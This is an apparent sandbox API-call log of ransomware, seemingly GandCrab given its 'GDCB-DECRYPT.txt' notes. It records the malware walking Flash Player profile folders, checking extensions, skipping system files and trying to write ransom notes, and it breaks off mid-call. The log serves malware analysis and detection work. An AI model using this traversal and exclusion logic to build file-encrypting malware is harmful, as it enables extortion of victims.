1 [0135.479] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0135.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0135.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0135.479] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.479] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned 85 [0135.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0135.479] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.479] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.479] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.479] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.479] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.479] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.479] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0135.479] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0135.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0135.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 96 [0135.479] lstrcmpW (lpString1=".com\\support\\flashplayer", lpString2=".sql") returned -1 [0135.479] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.479] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.479] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt" [0135.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0135.480] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.480] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.480] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.480] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.480] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\GDCB-DECRYPT.txt") returned 102 [0135.480] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.480] GetLastError () returned 0x50 [0135.480] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned 85 [0135.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0135.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7780 [0135.480] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.480] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.480] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.480] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.480] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.480] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0135.480] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0135.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0135.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0135.480] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.481] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.481] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned 97 [0135.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0135.481] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c7680 [0135.481] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.481] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.481] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.481] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.481] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.481] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.481] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt" [0135.481] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0135.481] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.481] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.481] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0135.481] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0135.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0135.481] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 100 [0135.481] lstrcmpW (lpString1=".com\\support\\flashplayer\\sys", lpString2=".sql") returned -1 [0135.481] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.481] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.481] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.482] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\GDCB-DECRYPT.txt") returned 114 [0135.482] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.482] GetLastError () returned 0x50 [0135.482] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.482] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned 97 [0135.482] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0135.482] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7680 [0135.482] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.482] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.482] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.483] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.483] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.483] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.483] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt" [0135.483] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.483] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0135.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0135.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0135.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.483] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.483] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.483] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0135.483] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0135.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0135.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0135.483] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.484] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.484] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned 101 [0135.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0135.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x2c76c0 [0135.484] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.484] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.484] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.484] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.484] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.484] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.484] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt" [0135.484] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0135.484] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.484] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.484] lstrcmpW (lpString1="settings.sol", lpString2=".") returned 1 [0135.484] lstrcmpW (lpString1="settings.sol", lpString2="..") returned 1 [0135.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0135.484] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0135.484] lstrcmpW (lpString1=".sol", lpString2=".sql") returned -1 [0135.484] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0135.484] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.488] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.488] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\GDCB-DECRYPT.txt") returned 118 [0135.488] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.488] GetLastError () returned 0x50 [0135.488] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned 101 [0135.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0135.488] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x2c7900 [0135.488] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.488] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0135.488] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.488] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.488] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0135.488] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.488] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt" [0135.488] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.489] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0135.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0135.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0135.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\GDCB-DECRYPT.txt") returned 117 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.489] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 